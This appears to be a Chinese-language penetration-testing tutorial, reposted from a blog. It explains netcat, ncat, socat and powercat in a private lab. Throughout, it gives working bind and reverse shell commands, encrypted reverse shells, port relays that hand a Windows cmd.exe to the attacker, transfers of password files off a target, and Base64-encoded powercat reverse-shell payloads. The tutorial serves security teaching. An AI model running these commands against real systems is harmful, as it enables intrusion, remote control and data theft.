渗透测试中几只“猫”的用法

2020-11-09 10:02:18 浏览数 (1)

来自 | 黑白之道

原创投稿作者:Nicolus

渗透测试过程中会用到一些系统shell工具,有几只长得很像,分别是netcat(nc), nmap-cat(ncat), socat, powercat. 都是跟“猫”相关的,这几只“猫”上得了庭堂,下得了厨房,不对,是上可卖萌,下可贩贱,最近汇总了下这几只“猫”的用法,分享如下。

环境信息:

攻击机:KALI 192.168.56.102

目标机:Win7 192.168.56.101

ubuntu 192.168.56.103

1.netcat

字nc,号瑞士军刀,简洁而不简单,擅长以最简单的招式破解最牢固的系统。这只“猫”最常见,大家都很熟悉了。执行nc -h 可以查看帮助信息。

最常用用法:

(1)socket连接:

作为客户端连接一个主机:nc -nv 192.168.56.101 8888。

作为服务端提供一个连接:nc -nvlp 8888。

【非交互式shell,此时可以直接聊“骚”】

(2)传输文件:

传输方:

nc -nv 192.168.56.101 8888

< /usr/share/windows-resources/powercat/powercat.ps1

(apt-get install powercat,之所以传这个,因为后面要用到)

接收方:

nc -nvlp 8888 > d:powercat.ps1

(3)扫描

TCP扫描:

nc -nv -z -w 1 192.168.56.101 3388-3390 。(看上面的帮助信息,-z是用于扫描的,-w用于设置超时时间)

UDP扫描:

默认是TCP扫描,在上述命令上增加一个-u 参数即可使用UDP扫描:

nc -nv -z -w 1 -u 192.168.56.101 53 161 162

(4)创建shell

bind shell: 正向连接(攻击机去主动连接)

目标机执行 nc -nvlp 192.168.56.101 4444 -e cmd.exe

攻击机执行 nc -nv 192.168.56.101 4444 得到一个cmd.

reverse shell: 反向连接(攻击机等着被连接)

攻击机执行:nc -nvlp 4444

目标机执行:nc -nv 192.168.56.102 4444 -e cmd.exe

(5)-c与-L

KALI版本的nc比win7版本的多一个-c,可以直接发命令,而不是像-e一样是一个shell文件,win7版本的多一个-L,可以一直监听,而-l会在连接中断后不再监听。(KALI版本是有一个-k选项的,但是并没有起作用,这个参数在下一部分中的ncat中被优化)。

【TIPS:这时KALI变为向win7传送数据了,攻防目标转换,在目标机为Linux时可使用】

(6)其他功能

nc还可以发掘很多其他功能,在LINUX之间可以利用tar传输目录、传输视频流、甚至克隆设备等,有需要的可以找找网上的资料或参考下面的nmap-cat。

2. nmap-cat(ncat)

字ncat,号“21世纪的netcat”,这是nmap项目对原始的netcat(nc)进行的优化改进,但是并不共享源代码,增加了一些新功能,调整了一些参数。

官方cookbook地址:

https://nmap.org/ncat/guide/index.html

安装:apt-get install ncat (Windows版本的直接带了,在nmap的安装目录下)

【装完发现“20世纪的nc”执行程序被替换成了“21世纪的ncat”,如果想再使用老版本的nc,可以执行/bin/nc.traditional,但是后面我们仍然执行ncat,以区分nc】

ncat可以实现上述nc的所有功能,相同部分的用法完全相同,这里再拓展一下用法(有nc也支持的,也有新的,通过ncat -h查看)。

(1)搭建简易http server

客户端用浏览器访问这个文件即可(每客户端可访问一次,因为本质上还是监听端口与连接端口)。

(2)聊天室模式(--chat)

(3)文件传输

仍以powercat.ps1为例

接收方win7:

ncat.exe -l > powercat.ps1

【TIPS】 -l 监听模式如果不跟端口号,则默认使用31337

发送方KALI:ncat --send-only 192.168.56.101 < powercat.ps1

有两个参数--send-only和--receive-only,就是不管对方是否接收和发送了数据,我只发送和接收,不管对方是否接收或发送成功。

反过来,类似于反弹shell 的发送方监听:

发送方KALI:

ncat -l --send-only < powercat.ps1

接收方Win7:

ncat 192.168.56.102 > powercat.ps1

【TIPS】不管你让谁连谁,都得是监听方先启动。一般反弹形式的比较常见,因为一般安全设备会对入向流量拦截,但是出向流量不太好拦截。

利用管道传输多个文件:

接收方ubuntu: ncat -l | tar xzv

发送方KALI:

tar czv| ncat --send-only 192.168.56.103

发送一个磁盘镜像(前提是处于卸载或只读挂载模式):

接收方ubuntu:

ncat -l | bzip2 -d > KALI-hda.image

发送方KALI:

cat /dev/hda | bzip2 | ncat --send-only 192.168.56.103

反向传输同上。

(4)代理模式--broker

如果win7只能访问ubuntu,但是不能访问KALI,而ubuntu可以访问两个,该怎样让KALI给win7传输文件呢?

ubuntu: ncat -l --broker

win7: ncat.exe ubuntu > powercat.ps1

KALI:

ncat --send-only ubuntu < powercat.ps1

【TIPS】broker服务器不缓存两个机器的之间的流量。broker也不会手动断开连接(对比于两个机器直传时,是传输结束两边的连接就直接拆除了),传输结束后需要win7手动断开链接。

(5)加密流量

很简单,在连接或传输文件时加上--ssl参数即可,以传输文件的命令为例:

接收方win7:

ncat.exe -l --ssl > powercat.ps1

发送方KALI:

ncat --send-only 192.168.56.101 --ssl < powercat.ps1

【TIPS】默认是用一个1024位的RSA 密钥自动生成证书。

3. socat

socat,意思是之前的cat,just so so(开玩笑),但是看人家的描述是带两个加号滴!

KALI自带,其他系统下载链接:

http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz

tar zxvf socat-1.7.3.4.tar.gz

cd socat-1.7.3.4

./configure

make && sudo make install

(1)socket客户端与server

Server端:socat TCP4-LISTEN:8888 -

客户端:socat - TCP4:<server’s IP>:8888

【TIPS】“-”前后都有空格,表示标准输入输出

(2)文件传输

这次传递seclists中的一个密码文件到目标机ubuntu上。

正向传输:

ubuntu监听:

remnux@remnux:~/socat-1.7.3.4$sudo socat TCP4-LISTEN:8888 - >> 1.txt

【TIPS】“-”前后都有空格,表示标准输入输出

KALI发送:

root@kali:#

socat

TCP4:192.168.56.103:8888 file:darkweb2017-top100.txt

类似ncat,也做一个反向传输:

KALI监听:

socat

TCP4-LISTEN:8888,fork file:darkweb2017-top100.txt

ubuntu获取:

socat

TCP4:192.168.56.102:8888 file:received_password.txt,create

参数解释:服务端的fork,是创建一个子进程,允许多个连接,跟nc中的-k类似;接收方的file后跟个create表示如果没有则创建。

(命令比nc和ncat复杂多了吧?但其实也有规律,如果是客户端就是TCP4:IP:PORT file:xxx 如果是server端就是TCP4-LISTEN:PORT file:xxxx)

(3)创建shell

正向shell:

ubuntu监听:

socat TCP4-LISTEN:8888 EXEC:/bin/bash

KALI连接:

socat TCP4:192.168.56.103:8888 -

反向shell:

KALI监听:socat -dd TCP4-LISTEN:8888 -

【TIPS】由socat -h 得知-d是查看verbosity信息的意思,可以使用1到4个d,越多越详细,建议是使用两个。

ubuntu连接:

socat

TCP4:192.168.56.102:8888 EXEC:/bin/bash

效果如下:

(4)交互式反弹shell

上述shell都是非交互式的,以下命令可以帮助在KALI上生成一个交互式的shell.

KALI:

socat

TCP4-LISTEN:8888 file:`tty`,raw,echo=0

ubuntu:

socat

TCP4:192.168.56.102:8888

EXEC:'bash -i',pty,stderr,setsid,sigint,sane

(5)加密反弹shell

利用openssl生成证书和秘钥文件:

openssl req -newkey rsa:2048 -nodes -keyout test.key -x509 -days 100 -out test.crt

合并为一个pem文件:cat test.key test.crt > test.pem

KALI监听:

socat

OPENSSL-LISTEN:8888,cert=test.pem,verify=0,fork file:`tty`,raw,echo=0

ubuntu连接:

socat

OPENSSL:192.168.56.102:8888,verify=0 EXEC:'bash -i',pty,stderr,setsid,sigint,sane

(6)端口转发

KALI监听:socat TCP-LISTEN:8888,fork -

ubuntu转发:

socat

TCP-LISTEN:8888,fork TCP:192.168.56.102:8888

Win7连接ubuntu:

ncat.exe -nv 192.168.56.103 8888 -e cmd.exe

此时KALI 即获取到win7的shell.

4. powercat

powercat即powershell cat,故名思义,是运行在powershell环境上的,我们测试环境以管理员身份运行Powershell。

在测试win7的powershell上执行Set-ExecutionPolicy Unrestricted 选择Y设置为不限制执行。前面已经通过nc和ncat将该文件传输过去了,也可以通过

https://github.com/besimorhino/powercat下载。后进入powercat的下载目录执行Import-Module powercat.ps1,这样后面可以直接使用powercat这个命令。

执行powercat -h,有两个必选参数,-c是做为客户端,-l 是监听作为服务端。按上面的主要功能再测试下:

(1)创建Shell

Bind Shell:

Win7执行:

powercat -l -p 8888 -e cmd.exe

KALI执行:ncat -nv 192.168.56.101 8888

Reverse Shell:

KALI执行监听:ncat -nvlp 8888

Win7执行:powercat -c 192.168.56.102 -p 8888 -e cmd.exe

【是不是已经驾轻就熟了,因为几乎跟上面参数一样啊,就是换换命令】

(2)文件传输

上传一个文件到攻击机KALI:

KALI执行:

ncat -nvlp 8888 > win7password.txt

Win7执行:

powercat -c 192.168.56.102 -p 8888 -i C:win7password.txt

反过来,KALI上传到Win7:

Win7执行:powercat -l -p 8888 -of C:bt.txt

KALI执行:ncat -nv 192.168.56.101 8888 < bt4-password.txt

(3)端口转发

powercat -l -p 8888 -r tcp:192.168.56.102:9999

(4)拥有一个交互式powershell

powercat -l 8888 -ep -rep

-ep:让连接上来的客户端获取一个伪终端

-rep:保持连接,客户端断开的时候链接保持,可以下一次继续连接。

【TIPS】这里有个小坑,KALI连接上这个伪终端后,退出时直接ctrl C退出,不要执行exit,如果执行exit的话会连WIN7的powershell一起退出,连接无法保持。

(5)本地生成payload

-g,生成一个payload,-ge 生成一个Base64编码的payload

KALI监听起来:ncat -nvlp 8888

生成本地payload,powercat -c 192.168.56.102 8888 -e cmd.exe -g > reverse.ps1

执行.reverse.ps1

这时KALI获取到反弹shell. 这个reverse.ps1大概有17KB大小,可以用记事本打开修改其内容调整连接参数。

再用-ge试下powercat -c 192.168.56.102 8888 -e cmd.exe -ge > reverse.ps1

这时会生成一个约46KB的Base64编码的payload.当然无法直接执行这个ps1.

看powercat -h中的ge参数解释,如果要执行,需要用命令powershell -E 跟上编码过的代码,但是你会发现这个代码量太大了,直接在powershell里根本粘贴不全,可以在ISE中粘贴执行。

5.小结

几只“猫”的主要功能介绍完了,说下老王的想法,最好用的是ncat,功能多而且相对于socat命令语法简单一些,但是socat的某些功能是ncat不能代替的,如交互式终端。powercat也很好用,但前提需要你先把文件下载过去。

0 人点赞